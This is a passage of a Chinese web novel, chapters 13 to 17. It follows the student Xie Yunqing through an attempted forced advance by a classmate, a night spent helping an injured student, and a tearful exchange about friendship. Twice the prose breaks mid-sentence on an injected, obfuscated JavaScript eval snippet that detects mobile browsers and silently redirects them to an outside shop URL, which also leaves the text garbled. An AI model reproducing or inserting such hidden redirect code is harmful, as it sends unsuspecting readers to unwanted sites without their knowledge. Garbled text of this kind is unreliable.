几乎是一瞬间,沉重的困意袭来。 谢云卿又往父亲的怀里钻了钻,努力汲取父亲身上的温暖,随后,沉沉地睡了过去。 入睡之后,谢云卿一开始仍像在下坠。 但这次落入的,不再是沼泽,而是一片温暖的水域。 温水漫过全身,洗清了身上的粘腻,最后化作一只手,轻轻抚过他的脸颊,令他再次感到无比的安心。 谢云卿无意识地在那只手的手心里蹭了蹭,含糊梦呓:“父亲......” 不知睡了多久。 谢云卿又是被裴宣的声音喊醒。 他睁开眼,看到裴宣的脸,却不能立即反应发生了什么。 自己明明是在书阁里学习。 怎么会睡了过去。 “云卿,你又差点把我吓死了。”裴宣哭丧着脸,“怎么学习也会让你受伤啊。” 受伤...... 谢云卿的记忆仍是一片模糊。 崔稷在一旁大叹了一口气,认命地解释道:“现在已经是第二天了,不过我们也不是很清楚昨日究竟发生了什么。” “只知道,你好像在书阁里晕倒了,是裴相身边的侍从送你回来的,还告诉我们,你撞到了墙壁受了伤,不过已经都处理过了,让你这几天好好休息,不可再随意走动。” 裴相! 纷杂的记忆忽如潮水涌来。 谢云卿想起,昨日因为那场突如其来的暴雨,再加上不久前回忆过十岁的往事,自己便好像陷入了梦魇之中,根本分不清现实与虚幻。 过程还是很模糊,只记得梦魇最后,父亲再次赶来拯救了他。 父亲...... 父亲...... 父亲...... 他的父亲根本不可能出现在这里。 那昨日,被他抱住的那个“父亲”,究竟是谁? 谢云卿无端打了个冷颤。 张了张嘴:“......怎么会是裴相身边的侍从送我回来。” 裴宣也疑惑道:“是啊,我也很好奇,怎么和我哥扯上了关系,我记得他平时也不爱多管闲事啊。” 说完又立刻觉得不妥,对着谢云卿抱歉地笑了笑:“我不是说你是‘闲事’,是在我哥那里,除了国是公务之外的所有事,对他来说,都是‘闲事’。” “嗯......”沉吟片刻后,裴宣还是想不通,便问崔稷,“你觉得呢?” 崔稷本不想回答。 但看到谢云卿脸上惊疑不定的神色,不知为何,最后还是开了口:“不用猜来猜去。” “即使是裴相身边的侍从也未必一定与裴相本人有关,兴许只是人家路过,或是替裴相拿什么东西,发现云卿晕倒了,便随手做了好事。” “嗯!”裴宣重重点头,还拍了拍崔稷的肩,“不愧是你啊,说得太有道理了。” 崔稷冷哼一声,抚开了裴宣的手,并不承裴宣这句恭维。 可谢云卿却还是有些不安,毕竟裴宣与崔稷并不知道“父亲”的事。 他犹豫片刻,轻声问道:“那裴相现在......在哪里?” “你问我哥干嘛?”裴宣睁大了眼,但转念又理解了,“你是想去感谢我哥的侍从吧。” 他摇摇头:“不过我哥已经回丞相府了,等下次吧,下次我哥再回来,不管你在不在,我替你感谢好了。” 裴相已经走了。 谢云卿突然安下心,可能真的是他多想吧。 就如裴宣所说,裴相并不会多管闲事,所以自己根本不必担心有没有冒犯到裴相。 但...... 裴宅终究不是他应该久待的地方。 于是谢云卿向裴宣提出,想要回太学养伤。 裴宣当即拒绝,但耐不住谢云卿这次的坚持,最后终是妥协下来,让谢云卿再多留两天,等刘大夫说谢云卿的伤并无大碍了,再送谢云卿回太学。 刘大夫的医术也是真的很高明。 纵使谢云卿昨日又撞了一下,两天之后,谢云卿身上已完全不痛了。 故经过刘大夫的同意,又专程与裴老夫人告别之后,谢云卿回到了太学。 裴宣并没有跟着回来,说他还想在家里多住一天,而崔稷也先回了崔宅,与裴宣一样,都是再过一天再回太学。 一踏入寝舍,即使谢云卿对于旁人的态度不甚敏锐,却也立刻察觉出几个舍友态度上的不同。 但他并未探究。 也不会放在心上,只专心自己的学习。 回到太学还是清晨,上完所有讲学、补完所有课业之后,已是又一个傍晚。 谢云卿本想去往书阁再温习一下这几天博士们的策论,可天又忽地阴沉下来,谢云卿心有余悸,不敢再一人在阴雨天的时候在外滞留,便改变了方向,往寝舍而去。 乌云不知何时汇聚在远处一棵高树上。 谢云卿不自觉望了一眼,就这么看到了正阴恻恻地盯着他的庾琛。 庾琛一身深黑长袍,站在距离谢云卿的不远处。 与裴宣和崔稷完全不同。 庾琛身上并没有那种天生高贵的少年意气,却也并不普通、平庸,而是一种谢云卿说不出来的感觉。 若真要形容,便是被庾琛盯上时,身上会不自觉地发凉,像是—— 被一条毒蛇盯上。 或许是裴宣说的“可怜”,令谢云卿实在印象深刻,这一刻,谢云卿竟突然想起来,曾听说过的关于庾琛的身世。 庾琛现在虽然是为颍川庾氏的独子。 可却并非从一出生就是。 在庾琛之上,原本还有两个哥哥,并且庾琛还是庾秀的外室所生,一开始并不被颍川庾氏承认。 还是几年前,庾琛的那两个哥哥突然先后暴毙,庾氏嫡系再无亲子,庾秀才将庾琛认了回去。 而就在庾琛被认回去后不久,其生母便也病逝。 旁人言之凿凿,所谓病逝不过掩人耳目,实则是庾秀的正室夫人容不下庾琛及其生母,却不能将庾琛如何,便只害了他的生母。 只听如此身世,确实值得裴宣一句“可怜”。 不过谢云卿倒没资格觉得庾琛可怜。 面对庾琛,他只能躲着走,否则又会平白多出许多事。 但还没走两步,就听到庾琛在不远处喊他的名字。 谢云卿忍住没有回头。 也不知从何而来的勇气,又再次装作没听见,快步往寝舍跑去。 回到寝舍后,谢云卿竟看到裴宣身边的几个侍从正拿着一大堆东西等在他的门前。 谢云卿愣了愣。 问他们怎么会在这里,是不是裴宣回太学了。 其中为首一人答道,裴宣还在裴宅,他们是听裴宣与裴老夫人的差遣,送一些东西过来。 谢云卿不知如何反应,就愣愣地让他们进去了。 一进门,那几个侍从便分工有序地忙了起来,替谢云卿整理床铺、书案与几格小柜子。 几个舍友或许觉得太过拥挤,陆陆续续地离开了。 整理完毕之后,又将许多谢云卿见过或者没见过的东西往谢云卿的床铺、书案与柜子里上放。 最后甚至多的放不下。 还不知从何变出了几个新的架子,摆放好后立在了谢云卿的书案边。 待到他们几人忙活完,向谢云卿请辞,谢云卿才反应过来,连忙叫住他们,让他们将那些东西带走。 为首的侍从答道,都是裴宣为他准备的日常和学习用品,还有裴老夫人给他准备的新衣服,他们只听令行事,希望谢云卿不要为难他们。 谢云卿本能觉得有些奇怪,因为在裴宅的几天里,裴宣根本没向他透露过要送他这么多东西,却也觉得以裴宣的一时兴起,倒也不是不可能。 他便只能先硬着头皮收下,准备等明日裴宣来了之后,再将东西都还给裴宣。 不过才刚刚坐下,舍门又响了起来。 谢云卿以为是刚刚那几个侍从去而复返,便赶紧起身,毫无防备地开了门。 但这次。 站在外面的,却是庾琛。 不等谢云卿说话,庾琛便直接走了进来,审视般地看了一圈,而后,阴恻恻地笑了笑:“攀上裴宣之后果然不同了,这么多东西,许多比我那里的都还金贵呢。” 谢云卿知他来者不善,没有接话,只道:“我会还回去的。还有,学规第一百五十一条,学子之间不可无请自入他人寝舍,你......你该走了。” 庾琛微微一愣,忽然又笑了笑,比方才多了几分意味深长:“怎么?拿裴氏定的规矩压我?” 谢云卿不想与他多说,便低下了头。 不料,庾琛竟直接向他走近。 庾琛走一步,谢云卿便退一步。 直到最后,退无可退 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谢云卿猛地抽手一推,竟当真将庾琛推得退后了一步。 紧接着,开始不顾一切地往门外跑。 可没跑几步,便被庾琛再次抓住,直接抵在了门上。 庾琛咬牙切齿:“还敢跑?从前不过是让着你,别以为我真的不敢动你。” 说着,竟当真想要吻下去。 可突然,门又再次从外被敲响。 庾琛的动作一顿,谢云卿抓住这个机会,不顾一切地拉开门,向外冲去。 很奇怪的是,门外甚至于整个寝舍的院子,都没有一个人。 但谢云卿顾不得思考,只拼命地朝一个方向跑去。 跑到筋疲力尽,抬头一看。 发现自己竟然跑到了那位贵人的院子中。 万籁俱寂,除了他的呼吸声,就连虫鸣之声都没有。 天色也已完全黑了下来。 谢云卿靠在了长廊的柱子上,呆了片刻,也可能很久,莫名走向尽头,走到那间厢房前。 一片漆黑。 那位贵人不在。 而且这次,他也并没有带外袍过来。 但他却又莫名待了很久。 再一抬头,月已上枝头,想着庾琛一定已经离开了,而他的舍友也一定回来了。 谢云卿便又往寝舍走去。 走到湖边,谢云卿突然听见几声不正常的喘息声,像是与他一样,受伤之后的痛苦呻.吟。 谢云卿便赶紧往声音处走去。 在绕过一片湖之后,谢云卿发现一个人,以一种奇怪的姿势侧躺在水榭中。 借着月光,能看出那人衣衫不整,脸上与裸露出的皮肤上,满是各种青紫痕迹。 是非同一般的伤痕。 即使谢云卿未经人事,却也从一些人的风流言语中听说过。 谢云卿心下一惊,赶紧走到那人身边,跪坐下来,倾身问:“你怎么了?还好吗?要不要我去教司业过来。” 那人好像很痛苦,喘息许久,都不能发出一个连贯的词,说出一句连贯的话。 谢云卿恍然,赶紧将身上的外衣脱下,盖在那人身上。 又立即起身,往司业的地方去。可才动一步,竟被那人叫住:“不......不要......去......” 谢云卿一怔,虽不明所以,但还是听从那人的声音,先行回到那人身边。 安抚道:“你不要怕,司业一定会帮你讨回公道,我.......我也会尽力帮你的。” 那人却扯住他的衣角,艰难地摇了摇头:“我没事......” 谢云卿少见地感到急迫,不知为何,眼睛也有些湿润了,他握住那人的手:“怎么会没事呢,一定是有人欺负你了对不对。” 月光下,谢云卿看到那人眉眼温和,宛若秋水,竟是笑了笑:“没......没人欺负我。” 再剧烈喘息几下后,还问谢云卿:“你......为什么难过?” 谢云卿不知怎么回答,只坚持道:“我先带你去找大夫,再去找司业、找祭酒。” “我一定会帮你的。” 但那人却还是拒绝。 片刻后,反握住了谢云卿的手,轻声问道: “你是谢云卿......对吗?” 14.第十四章 谢云卿愣住了。 他不明白那人为何会在这样的情况下,表现得好像完全不在乎自己,只在乎他是谁,也不明白那人为何已经知道他是谁。 “是......”谢云卿抿了抿唇,有些不知所措,却还是点头,“我是谢云卿。” 湖风一吹,那人忍不住咳了几下。 却又很快牵唇笑了笑,像是猜出了谢云卿心中的疑惑,所以为谢云卿解答:“你很漂亮,也很优秀,我去年便......听说过你,也曾远远地见过你。” 再握紧谢云卿的手。 借着谢云卿的力半坐了起来。 过程中,外衣有些滑落,谢云卿又赶忙为他盖好。 那人坐好后,靠在水榭的矮案上,很专注地看了看谢云卿的脸,再道:“你果真很漂亮,难怪......难怪......” 声音很哑、很低,像是思绪已经飘远。 谢云卿不明白他在说什么。 只站起来,为他挡住从湖面上源源不断吹来的风。 过了一会儿,谢云卿还想开口劝说,却被那人轻轻喊住。 “谢云卿......”那人垂下眼。 看着盖在身上的外衣。 很单薄,却还残留些许谢云卿身上的暖意。 莫名顿了一下。 再继续道:“事情不是你想的那样,但具体是什么样......我不能说。” 而后将身上的外衣收起,抬起头,还给谢云卿:“可不可以不要将这件事告诉别人,就当......替我保密,好不好。” 谢云卿没有伸手去接。 而是看着那人脸上的表情,觉得那人好像要哭了,或者已经哭过了。 他忽然觉得自己好像做错了什么,心跳一下一下地慢了下来。 片刻后,他伸出手,接过了外衣。 却是重新为那人盖上,郑重地点了点头:“好......我不会再问你了,也不会告诉别人。” “谢谢你......” 道谢之后,那人没再说话了。 一时间,水榭中只余风声和那人渐渐平和下来的呼吸声。 谢云卿有些不安地扣了扣自己的手腕。 他意识到,那人现在需要他离开,可犹豫片刻后,还是慢慢蹲了下来:“我......我送你回去吧,天太黑了,这里又太偏僻了,路很不好走的。” 那人像是愣住了。 眉眼之间淡淡的阴郁也在这一刻莫名褪去了,变得有些震惊。 随后,他问:“你自己......不疼吗?” 谢云卿还是不清楚那人为何会知道自己身上的伤,却依旧认真地回答:“不疼了。” 确实不太疼了。 是早已习惯、可以忍受的范围。 其实即使是前几日晕倒后醒来的疼痛,也早已是他习惯忍受的范围。 如果不是裴宣和裴老夫人的好意。 他或许根本不需要那些药,更不需要专门的休息。 谢云卿没察觉出那人言语中很明显的拒绝,便不再等那人的反应,直接小心翼翼地将那人搀起。而后让那人搭着自己的右肩,问过他寝舍的方向后,再很慢很小心地带着那人回去。 到了地方之后,谢云卿才发现,是待制院的寝舍。 难怪之前他从未见过那人。 而且好像只有那人一个人在住。 太学中的单人寝舍一般是分给出身顶级世家的学子,就比如裴宣与崔稷——这或许与那人的身份有关。 但谢云卿没有多问。 扶着那人躺到床榻后,便快步离开了。 只是走到寝舍的岔路时,谢云卿又突然停住了。 他的手在外衣的袖子中微微动了动,想起搀扶那人时,那人身上不正常的体温。 ——应该是发热了。 而且看起来,那人身边并没有人照顾。 想到这里,谢云卿不再犹豫,转换了方向,往太学的一处小门走去。 与守门的学吏说清意图后,谢云卿便出了太学,寻找记忆中太学附近的药舍。 京城与其他地方不同,夜晚并无宵禁。 太学附近也时常有隶属丞相府的禁卫巡逻,所以很是安全。 只是或许是太晚了,谢云卿记得的那几间药舍已经全部关了门。 其实也不是全部。 还有一间他听说过的,位于花街的药舍,应该还没有。 谢云卿有些害怕。 因为他曾听庾琛在贬低他的时候说过,如果他不是在太学,那么来到京城后,一定有的是人想把他卖到花街里去。 谢云卿不想被卖,也大概知道花街里会有什么。 可是,发热与身上的伤不同,不是忍忍就能过去。如果不吃药,一直烧下去,人可能真的会死。 谢云卿小时候就见过。 乡里有个穷人家的孩子生病发热,因为没钱买药,最后直接死了。 所以,他绝对不能不管那个人。 谢云卿微微攥紧了拳,低下头,向花街跑去。 其实也与谢云卿想象的有些不同,至少直到他找到那间药舍,一路上,除了有很多人奇怪地看着他,并没有人对他做些什么。 看来京城的治安真的很好。 但还是不能久留,因为他感觉到,周围看着他的人越来越多了。 于是他赶紧走进那间药舍。 扑面而来的不是药香,而是脂粉香和一些奇怪的味道。< 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忽觉囊中羞涩,踟蹰几下后,如实说了,他今日钱带得不够,可不可以先让他把褪热的药拿走,明天他再来买另一副药。 “小郎君可真是会说笑。”那女子又咯咯笑了起来,“谁知道你今夜走了,明日还来不来呢。” “这男人的话呀,最不可信了。” 谢云卿抬起头,看向那女子,又赶忙低下——那女子的衣着实在暴露。 非礼勿视,非礼勿视。 静了片刻后,谢云卿诚恳道:“我明日一定会来的,我可以给你留字据。” 那女子一愣,随后挑眉道:“奴家也不是想为难小郎君,只是这字据对奴家来说,也没什么用呀。” “这样吧,看在小郎君这张脸的份上,这令你发热的药,奴家给你算成半价,如何?” 谢云卿没想到那女子心肠竟如此之好,连连道了谢,而后将身上所有的钱都放到了药柜上。 那女子没着急收钱,将药包好后,再次来到谢云卿面前,牵起谢云卿的手,将系药的红线勾到了谢云卿的手腕上。 又俯身,凑到谢云卿的颈边,轻轻嗅了嗅,随后,轻佻地道了句:“好香。” 谢云卿忍着被人接近的不适,也完全不敢看那女子。 虽确实急着离开,但接过药后,谢云卿也没忘再道了句谢。 堪称十分有礼有节。 唯一失礼之处,是故意装作没听见那女子在他离开时喊的: “日后小郎君若是用到了那药,可别忘记来谢奴家呀。” 谢云卿莫名跑得更快了。 15.第十五章 一路跑回太学,撑着墙壁站在那人寝舍的门口。 伴随着喉咙里的血腥味大口喘气之余,谢云卿感到一阵心有余悸——因为花街上那些人打量他的眼神。 或许存在一种潜意识的自我保护。 当时的他并不敢多想,等到跑出花街,才后知后觉自己早已毛骨悚然,甚至比面对庾琛时还要害怕。 但到底是那些人更可怕,还是庾琛更可怕,似乎也很难有个结论。 如果可以选,谢云卿觉得。 还是不要再面对他们其中任何一个比较好。 …… 就在谢云卿因后怕而胡思乱想之际,寝舍的门突然从里面打开了。 暖黄的光泄出,落在谢云卿脚下。 谢云卿抬头一看,那人已站在他面前,微微蹙着眉,像是不太理解谢云卿为何去而复返,又为何站在自己寝舍的门前止不住地大喘气。 谢云卿莫名感到紧张,下意识站直了身,努力平复自己的气息,手还有些颤抖,从怀中拿出了那两副药,递到那人面前。 咽下口中的血腥味,谢云卿道:“是……是褪热的药,你记得……记得喝。” 那人没有接,依旧是那样蹙眉看着他。 谢云卿害怕是自己冒犯到了那人,连忙解释道:“我扶你的时候,觉得你身上有些烫,猜测你是发热了,便去买了药,你把药接下我就走。” 那人还是没有接,也没有说话。 夜风忽至,谢云卿有些冷,也有些尴尬,站在原地无所适从。 泄出的光其实很昏暗,但也足以照清谢云卿此刻苍白的脸色、汗湿的碎发、和被冻得通红的手背与指节——谢云卿一定在寒冷的夜风中跑了很久。 只是为了给他买药。 就在谢云卿想着要不要把药放到地上就走的时候,那人突然让开了一步,对谢云卿道:“……先进来吧。” 谢云卿有些局促地再次走进那人的寝舍,接过那人为他倒的水,又在那人的示意下坐了下来。 那人显然已经梳洗更衣过。 纵使脸上与脖子上还有伤痕,但整个人看上去已经精神了很多,不再像在水榭中一样虚弱。 只是那淡淡的阴郁之色又重新攀上了那人的眉眼。 谢云卿握着瓷杯的手紧了紧。 不知该说些什么,只觉得自己此刻有些多余。 那人落座之后,扫了一眼谢云卿放在案上的两副药,眉头蹙得更紧,问道:“你去花街买的?” “啊……”谢云卿有些懵地眨了眨眼,而后才想起回答,“是……是去花街买的……” 以为是那人嫌弃花街的东西。 谢云卿答后又抿了抿唇,小心翼翼地解释道:“因为……因为……其他地方的药舍都关门了,我才去花街买的,你发热了,耽误不得。” 说罢,还是耐不住好奇,小小声地问道:“你怎么知道的啊。” 那人深深呼吸了一下,像是被气到了。 而后,挑出其中一副药,推到谢云卿面前,盯着谢云卿的眼睛:“这是春.药。” 脑子嗡了一下。 手比反应快,谢云卿放下瓷杯,迅速将那副药揣进怀里,慌张道:“我不知道这是春……那店家说,这只是可以令人发热的药……” 话还没说完,谢云卿终于反应过来了,那女子口中发热的药确实就是春.药。 难怪那人会生气。 谢云卿低下头,不再解释,开始道歉:“对不起,我不是故意把春……给你的,是我买错了……” “你道什么歉。”那人打断他。 然后竟站起身,走到谢云卿旁边,拉着谢云卿也站了起来,上上下下看了谢云卿很久,再问:“你去花街的时候,有没有人碰你?” 谢云卿不知道那人为何要问这个,但还是很老实地回答道:“没……没人碰我。” 那人才像是松了一口气,让谢云卿重新坐下了,自己也坐回谢云卿对面,将那杯水送到谢云卿唇边,仍是盯着谢云卿的眼睛:“喝。” 谢云卿还是有些懵,但也接过瓷杯乖乖喝了。 只是不知为何。 喝完之后,那人看上去又有点生气了。 “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282664|197056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让你喝你就喝,万一我在里面放春.药了呢?”那人有些语出惊人。 “啊……怎么会……”谢云卿招架不住,结结巴巴地,“你又不是坏人,怎么会害……害我……” 那人继续咄咄逼问:“那卖你药的人是不是坏人?” 谢云卿认真回想了一下,虽然那女子言行举止有些轻佻,也虽然故意让他买了春……不好的药,但终归是愿意卖给他褪热的药,应该不算是坏人。 于是他很诚实地摇了摇头。 “错了!”那人竟有些恨铁不成钢,“那店家骗你买.春.药,就是心怀不轨的坏人!” 谢云卿彻底懵了,除了眨眼,一动也不敢动。 “你就是涉世未深,又太过天真,对人毫无防备之心,以后被人卖了也不知道,估计还会傻乎乎地以为对方是好人。”那人继续教训他。 谢云卿莫名其妙挨了一通训,却还是搞不懂那人的想法,只又老老实实地想要道歉,却又被那人打断。 那人叹了一口气:“算了,反正你记住,防人之心不可无,以后也千万别再去花街了。” 谢云卿乖乖点头。 那人莫名沉默片刻,再开口,声音低了许多:“你我从前素不相识,今夜还是你先帮了我,为何还要冒着风险替我去花街买药。” 谢云卿不明白,这里面究竟有什么可以令人疑惑不解的地方,便只答道:“因为我知道你生病了啊。” 那人没说话了。 谢云卿觉得那人的情绪突然变得有些低落,像哀伤又不像哀伤,似乎陷入了某种回忆之中。 他不想再打扰。 轻轻叮嘱那人一定记得喝药之后,便起身准备离开。 “谢云卿。”那人在他走到门口后突然叫住他,“我叫阮辞。” “但以后,见到我,要装作不认识我,知道吗?” 谢云卿转过身,想要问为什么。 阮辞对他笑了笑,阴郁散去,眉眼宛若秋水:“听我的话吧,你说的,我不是坏人,我不会害你的。” “一定一定,不要让别人知道,你认识我。” 16.第十六章 谢云卿一夜没睡好,一直在想阮辞的事——他觉得阮辞很痛苦,他想要帮阮辞。 可想到最后。 除了猜出阮辞应该是出身陈留阮氏之外,其他的,什么都不知道,也什么都做不了。 这导致他的情绪有些低落,一整个上午都很难专注精力学习。 抱着经书走出讲堂。 谢云卿低着头,一时没有看路。 不想,就是这一时分心,让他直接撞到了一个人身上。 谢云卿连忙退后好多步,再抬起头,道歉的话刚到嘴边,就看到裴宣一脸贱嗖嗖的笑。 “想什么呢,看你好久了,也没发现我来了。”裴宣走过来,拉着谢云卿退到路旁。 路边和讲堂内外。 不少学子或明或暗地,往谢云卿和裴宣这里张望。 但裴宣完全不在意,还继续道:“我都故意站你面前了,你都没看到,还往我身上撞。” “对……对不起。”谢云卿老老实实认错。 裴宣弯下身,看谢云卿的脸色,皱了皱眉:“不会真的是庾琛欺负你了吧?” 谢云卿一怔。 难道裴宣知道昨天庾琛来找他的事了? 可昨日寝舍,明明除了他与庾琛,一个人也没有。 “是我猜的。” 说着,裴宣又拉着谢云卿往人少的地方去——就一会儿功夫,看他们的人越来越多了,说话很不方便。 等到周围安静了些,裴宣才接着道:“我刚进太学大门的时候,恰好撞见庾琛出来,身边围着几个他爹的人,还在想,是不是他又做了什么让他爹不高兴的事,这边身上的伤才好呢,那边又惹得他爹派人过来,抓他回去教训。” “说实话,我当时真没露出幸灾乐祸的表情,我已经很努力地在憋了。”裴宣一脸无奈,“哪曾想,庾琛那小子跟疯了一样,推开他爹的人就冲我来了,还说什么,‘没想到谢云卿也知道找你告状了’。” “我一听和你有关系,正想仔细问呢,那小子就被他爹的人拽到马车上了。” 说到这里,裴宣面露担忧,低下头,轻轻问谢云卿:“是不是他欺负你了啊,如果是,你跟我说,我……我……就去找他爹告状!” “他爹教训他可不留情了,一定能替你出口气的!” 裴宣语速太快了,以至于谢云卿愣了许久,才堪堪理解裴宣说的话——裴宣并不知道昨日的事。 说不上是松了一口气。 但谢云卿确实不想裴宣知道昨日的那件事。 他不想给裴宣添麻烦,也不觉得昨日的事有多严重。 即使昨日庾琛对他动了手,还试图强迫他。 可他最后还是跑了,自己没有真的被欺负,那这件事就可以当作没发生过。 只要他之后碰见庾琛跑得再快些,平常也再小心些,不被庾琛抓到,便也不会再给庾琛欺负他的机会。 这是他从小到大,处理问题的习惯—— 被欺负了一定是自己做得不够好,说出来也只会给别人添麻烦。 于是谢云卿摇了摇头:“没……没有。” 而后突然想起,寝舍里裴宣送的东西。 指腹摩挲手中经书的边缘,谢云卿纠结了很久,因为他从前很少收到别人的好意,所以也并不擅长拒绝别人的好意。 在裴宅的那几天,对于谢云卿来说,更像是一场梦——一场不该属于他的美梦。 梦中晕晕乎乎接受的好意。 在醒来后,变成了一块烧得通红的烙铁,一直灼烧他的内心。 怎么能那么心安理得地接受,他根本无法回报的一切。 谢云卿好像闻到了皮肉被灼烧的味道。 他浑身一颤,指腹也被锋利的纸页割破,却感受不到疼痛。 只低下头,不敢再看裴宣:“可……可不可以,将那些东西都拿走呀。” “什么东西?”裴宣满脸疑惑,“哪些东西?” “就是……你昨天让人送给我的。”谢云卿紧紧扣住自己的手腕。 “啊?我没让人给你送东西啊?”裴宣震惊了。 谢云卿也有些震惊和不解,茫然地抬起头:“可是,那些东西就是你身边的侍从送来的呀,他们也说是你送给我的。” “我的侍从……”裴宣皱紧眉头想了想,片刻后,恍然道,“啊……我知道了!” 谢云卿眨了眨眼,等待裴宣的解答。 “是我祖母的意思吧!”裴宣为自己的机智拜服,挺了挺胸膛,“我可真聪明,应该就是我祖母怕你不好意思接受她的好意,所以借用了我的名义。” 说着,揽住了谢云卿的肩膀,往谢云卿的寝舍走:“快让我看看都有什么好东西!” 谢云卿一下子被裴宣的逻辑绕住了,懵了一会儿。 就这么被裴宣带着走了两步,而后才反应过来,连忙停下:“那我就更不能收了,能不能……能不能帮我还给老夫人呀。” 裴宣也停了下来,歪着头,更加疑惑:“送你的东西为什么要还啊。” 裴宣这样理所应当的态度,让谢云卿莫名感到紧张,磕磕绊绊地解释道:“因为……因为我……我回报不了……” “回报?”裴宣惊诧道,“谁让你回报了?又为什么要回报啊?” “是……是……”是他的父亲与继母。 他们曾不止一次,或者说,几乎是每一天都在强调,他们对他很好,所以他之后一定要回报他们。 所以,对谢云卿来说,世界上从没有理所应当的好意。 衡量能不能接受的标准,是自己有没有能力回报——如果有,那便可以酌情接受;如果没有,那就一定要拒绝。 “云卿。”裴宣突然正色,微微低下头,握住谢云卿的肩膀,“我不知道是谁告诉你,接受别人的好意就一定要回报的。” 他看着谢云卿的眼睛。 里面闪着谢云卿从未见过的光芒:“可我们是朋友,我的祖母也是你的祖母,所以,我们对你的好意,是不需要你回报的,你只要接受,我们就很开心了。” “可是……可是……” “没有可是!”裴宣在这件事上有些过于强硬了,他直截了当地问谢云卿,“那你有没有把我当朋友?” “……有。”谢云卿几乎被吓到了,完全思考不了,只能出于本能回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287734|197056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答。 他当然把裴宣当朋友。 还是他从前很少有过的朋友。 可是,他与裴宣的出身如此悬殊,他真的配和裴宣做朋友吗? 谢云卿陷入了迷茫。 “那就没问题了呀!”裴宣又重新乐呵呵地揽住谢云卿的肩膀,“朋友之间,就是你对我好,我也对你好,从来没有回不回报的事。” “如果你真的会觉得不好意思,那就多对我好一点吧。”裴宣轻咳两声,“就比如,帮我……哦不,是教我做功课、写策论,陪我一起读书,怎么样?” “好……”谢云卿轻轻回答。 裴宣却突然又停下了,并且有些手足无措:“你……你怎么哭了。” 谢云卿眨眨眼。 发现真的有泪水从眼中流了下来,滚烫的。 可他没觉得自己哭了。 他很少哭的。 一直都是的,自从母亲离开后。 他饿了不会哭,痛了不会哭,被欺负了不会哭,生病了不会哭,很累很累的时候不会哭,很难受很难受的时候也不会哭。 而他现在,既不难受,也不痛苦。 为什么会哭呢? “是不是刚刚我太凶了,把你吓到了呀?”裴宣弯下身,几乎是有些低声下气了,“我不是故意凶你的,我只是太着急了,怕你又说什么回不回报的,好像没把我当朋友。” 谢云卿眼里一片模糊,也说不出话,只能摇头。 裴宣搜罗全身,终于从袖子里摸出一条锦帕,笨拙地替谢云卿擦泪,却因为力气太大,擦得谢云卿脸上多了好多红痕,看上去有些触目惊心,好像被人打了巴掌。 但谢云卿根本没叫痛,甚至没吭声,就只是默默地流泪。 裴宣手一抖,不敢再擦了。 将锦帕收回怀里,绞尽脑汁地想了想,终于想出了自以为能哄谢云卿不哭的话。 “云卿,再过几天,这个休沐,就是春蒐围猎的日子了,所有太学学子都可以去。你都不知道,围猎可有意思了,可以骑着马追着那些鹿啊、羊啊、兔子啊、野猪啊到处跑,有时候甚至还有老虎!” 裴宣努力回忆:“你要是不喜欢骑马打猎也可以,那些山山水水也挺好看的,到处走一走看一看,散散心也很好。” “反正就是很开心的,不用拘在太学和家里,想怎么玩就怎么玩。” 又突然想起什么,急忙问谢云卿:“你喜不喜欢兔子呀,崔稷的那个妹妹最喜欢兔子了,说是毛茸茸的很可爱,每次围猎都央着我和崔稷给她抓兔子。” “你要是也喜欢的话,这次我就多抓几只,也给你玩。” 最后几乎是求着说了:“好云卿,别哭了好不好,要是被崔稷看到,还以为我欺负你了。” 谢云卿没有想明白自己此刻为何会哭。 却也真的随着裴宣一句一句闲话慢慢平静了下来。 抬起袖子抹去眼泪。 看着重新笑起来的裴宣,谢云卿用力地点了点头。 却不知该说什么好。 只轻轻道:“我不哭了。” 裴宣欢呼一声,拉着谢云卿继续往寝舍跑去。 17.第十七章 休沐之前剩余的几天。 因为庾琛一直没有回来,也因为裴宣与崔稷一直跟谢云卿一起学习。 谢云卿第一次在太学过得没有那么小心翼翼、战战兢兢。 很快,便到了前往南郊春蒐围猎的时候。 正如裴宣所说,所有太学学子都可以前往,但主要还是皇室贵族与世家子弟参与。 谢云卿本不想去,但耐不住裴宣一直缠磨。 且听崔稷描述,南郊山水很有特色,值得一观,谢云卿便动了前往勘探绘图的心思。 也算是实践他母亲教给他的本领的机会。 于是,在休沐第一天的清晨,谢云卿便与裴宣、崔稷一起,乘上了太学准备的前往南郊的马车。 因为太学本就位于京城最南端,所以前往南郊的时间并不算久,抵达的时候尚不过晌午。 而皇室贵族与绝大部分世家子弟,因出发晚又离得远,故要到傍晚才能抵达,围猎正式开始的时间便也定在了第二日。 太学学子抵达后,在祭酒的安排下,需一同用午膳,算是一场小型的宴会,剩余时间便可自由活动。 午宴上,祭酒兴盛举杯,请众学子相陪。 谢云卿虽没喝过酒,却也不好格格不入,便也稍稍饮了一小杯清酒。 谢云卿本有些忐忑,怕若是醉了,午宴之后便不能去勘探山水,而等第二日围猎开始,学子们就又很难自由四处走动了。 但所幸,应是那酒确实不算烈,谢云卿喝下后,并无任何反应。 午宴散后,谢云卿少见地迫不及待地抱着事先准备好的纸与炭笔,往崔稷所说的山形水纹最为灵秀之处去。 裴宣与崔稷本来要一起的。 可由于裴宣“不小心”喝了太多酒,午宴还没彻底结束便睡得不省人事,崔稷也只好留下照顾裴宣。 